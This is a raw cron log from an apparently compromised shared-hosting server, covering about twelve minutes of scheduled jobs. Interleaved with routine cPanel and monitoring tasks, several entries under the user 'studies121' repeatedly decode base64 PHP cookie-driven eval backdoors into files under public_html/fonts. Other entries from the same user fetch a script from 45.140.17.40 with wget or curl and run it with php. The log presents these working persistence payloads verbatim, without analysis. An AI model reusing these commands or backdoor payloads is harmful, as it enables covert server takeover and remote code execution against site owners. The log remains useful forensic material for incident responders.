Sep  6 21:33:01 ip-184-168-122-23 CROND[32209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:33:01 ip-184-168-122-23 CROND[32210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:33:01 ip-184-168-122-23 CROND[32211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:34:01 ip-184-168-122-23 CROND[32298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:34:01 ip-184-168-122-23 CROND[32300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:34:01 ip-184-168-122-23 CROND[32299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:34:01 ip-184-168-122-23 CROND[32302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:34:01 ip-184-168-122-23 CROND[32303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32398]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:35:01 ip-184-168-122-23 CROND[32407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:35:01 ip-184-168-122-23 CROND[32409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:36:01 ip-184-168-122-23 CROND[32500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:36:01 ip-184-168-122-23 CROND[32502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:36:01 ip-184-168-122-23 CROND[32503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:36:01 ip-184-168-122-23 CROND[32508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:36:01 ip-184-168-122-23 CROND[32505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:37:01 ip-184-168-122-23 CROND[32679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:37:01 ip-184-168-122-23 CROND[32683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:37:01 ip-184-168-122-23 CROND[32681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:37:01 ip-184-168-122-23 CROND[32682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:38:01 ip-184-168-122-23 CROND[32763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:38:01 ip-184-168-122-23 CROND[32765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:38:01 ip-184-168-122-23 CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:38:01 ip-184-168-122-23 CROND[32767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:38:01 ip-184-168-122-23 CROND[300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:39:01 ip-184-168-122-23 CROND[397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:39:01 ip-184-168-122-23 CROND[398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:39:01 ip-184-168-122-23 CROND[401]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 21:39:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:39:01 ip-184-168-122-23 CROND[403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:40:02 ip-184-168-122-23 CROND[512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:40:02 ip-184-168-122-23 CROND[514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:40:02 ip-184-168-122-23 CROND[516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:40:02 ip-184-168-122-23 CROND[517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:40:02 ip-184-168-122-23 CROND[515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:40:02 ip-184-168-122-23 CROND[518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:40:02 ip-184-168-122-23 CROND[519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:40:02 ip-184-168-122-23 CROND[523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:41:01 ip-184-168-122-23 CROND[632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:41:01 ip-184-168-122-23 CROND[633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:41:01 ip-184-168-122-23 CROND[634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:41:01 ip-184-168-122-23 CROND[635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:42:01 ip-184-168-122-23 CROND[722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:42:01 ip-184-168-122-23 CROND[724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:42:01 ip-184-168-122-23 CROND[725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:42:01 ip-184-168-122-23 CROND[726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:42:01 ip-184-168-122-23 CROND[727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:43:01 ip-184-168-122-23 CROND[822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:43:01 ip-184-168-122-23 CROND[824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:43:01 ip-184-168-122-23 CROND[825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:43:01 ip-184-168-122-23 CROND[826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:44:01 ip-184-168-122-23 CROND[911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:44:01 ip-184-168-122-23 CROND[913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:44:01 ip-184-168-122-23 CROND[914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:44:01 ip-184-168-122-23 CROND[916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:44:01 ip-184-168-122-23 CROND[915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:45:01 ip-184-168-122-23 CROND[1085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
